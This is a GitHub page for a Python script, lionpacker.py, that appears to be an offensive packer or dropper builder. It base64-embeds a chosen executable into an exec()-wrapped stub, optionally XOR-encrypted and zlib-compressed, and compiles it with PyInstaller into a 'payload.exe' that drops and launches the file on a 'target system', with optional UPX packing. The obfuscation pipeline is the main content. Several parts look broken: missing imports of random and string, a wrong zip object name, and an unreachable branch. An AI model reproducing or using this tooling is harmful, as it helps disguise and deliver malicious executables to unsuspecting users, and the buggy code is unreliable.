-
Notifications
You must be signed in to change notification settings - Fork 3
/
lionpacker.py
152 lines (134 loc) · 5.41 KB
/
lionpacker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
try:
import sys, subprocess, tempfile, uuid, zlib, os, base64
from itertools import cycle
from zipfile import ZipFile
import PyInstaller.__main__, pip
except:
try:
from pip._internal import main as pipmain
pipmain(['install', 'PyInstaller'])
pipmain(['install', 'uuid'])
except:
print("Please install required packages...")
exit(1)
imports = """
import subprocess, base64, os
from zipfile import ZipFile
"""
payload = """
def xor(data, key):
return ''.join(chr(ord(c)^ord(k)) for c,k in zip(data, cycle(key)))
#code
try:
path = '{{ installdir }}'
if not os.path.exists(path + '{{ filename }}'):
with open(path + '{{ filename }}', 'wb') as writexe:
writexe.write(base64.b64decode('{{ filedata }}'))
#dependencies
if not os.path.exists(path + '{{ deps }}'):
with open(path + '{{ deps }}.zip', 'wb') as writedeps:
writedeps.write(base64.b64decode('{{ archive }}'))
with ZipFile(path + '{{ deps }}.zip', 'r') as zip:
zip.extractall(path + '{{ deps }}')
os.remove(path + '{{ deps }}.zip')
#dependencies
subprocess.Popen(path + '{{ filename }}')
except:
print('Launch again as an administrator')
os.system('pause')
"""
#payload = {{ encryption }}({{ compression }}(base64.b64decode('{}'))) #payload encryption embedded
usage = """Usage:
[-d localfolder] Dependencies folder path
[-f localexe] Executable file path
[-c] Compression
[-e] Encryption
[-upx upxpath] Use upx packer
[-i path] Installation path on target system
"""
def readlines(filename):
data = b""
with open(filename, 'rb') as file:
for line in file:
data += line
return data
def xor(data, key):
return ''.join(chr(ord(c)^ord(k)) for c,k in zip(data, cycle(key)))
rand_str = lambda n: ''.join([random.choice(string.ascii_lowercase) for i in range(n)])
deps = ""
final = ""
upxdir = ""
file = ""
folder = ""
key = ""
archive = ""
enc = False
comp = False
upx = False
i = 0
if len(sys.argv)>1 and "-f" in sys.argv:
for arg in sys.argv:
if arg == "-d":
deps = sys.argv[i+1]
elif arg == "-f":
filearg = sys.argv[i+1]
elif arg == "-i":
folder = sys.argv[i+1]
elif arg == "-c":
comp = True
imports+="import zlib\n" #bz2 instead of zlib (gz) for better ratio
elif arg == "-e":
key = str(uuid.uuid4().hex)
imports+="from itertools import cycle\n"
enc = True
elif arg == "-upx":
upx = True
upxdir = sys.argv[i+1]
#elif arg == "-gui": gui = True
i+=1
else:
print(usage)
exit(1)
#if folder == "":
#imports+="import tempfile\npath = tempfile.gettempdir()"
if "-d" in sys.argv:
def get_all_file_paths(directory):
file_paths = []
for root, directories, files in os.walk(directory):
for filename in files:
filepath = os.path.join(root, filename)
file_paths.append(filepath)
return file_paths
print('Zipping resources...')
with ZipFile(deps + '.zip','w') as zipfile:
for file in get_all_file_paths(deps):
zip.write(file)
print('Reading the resource file...')
archive = readlines(deps + '.zip')
if upx:
print('Applying upx...')
subprocess.getoutput(f"{upxdir} {os.path.abspath('dist/payload.exe')}")
print('Reading the executable file...')
executable = readlines(f"{upxdir}/{filearg}")
else:
print('Reading the executable file...')
executable = readlines(filearg)
if not "-d" in sys.argv:
payload = payload.split("#dependencies")[0]+payload.split("#dependencies")[2]
else:
payload = payload.replace("{{ archive }}",base64.b64encode(archive).decode()).replace("{{ deps }}",deps)
final = payload.replace("{{ installdir }}",folder).replace("{{ filename }}",filearg).replace("{{ filedata }}",base64.b64encode(executable).decode())
newline = "\n" #backslashes are not allowed in f strings
if enc:
final = f'{imports}{newline}{final.split("#code")[0]}{newline}exec(xor(base64.b64decode({base64.b64encode(xor(final.split("#code")[1], key).encode())}), {key}))'
elif enc and comp:
final = f'{imports}{newline}{final.split("#code")[0]}{newline}exec(zlib.decompress(xor(base64.b64decode({base64.b64encode(xor(zlib.compress(final.split("#code")[1]), key).encode())}), {key})))'
elif comp:
final = f'{imports}{newline}exec(zlib.decompress(base64.b64decode({base64.b64encode(zlib.compress(final.split("#code")[1].encode()))})))'
else:
final = f'{imports}{newline}exec(base64.b64decode({base64.b64encode(final.split("#code")[1].encode())}))'
with open("payload.py", "w") as pay:
pay.write(final)
print('Compiling...')
PyInstaller.__main__.run(['-F', '--clean', '--onefile', 'payload.py'])
#haha you expected 'if __name__=="__main__":'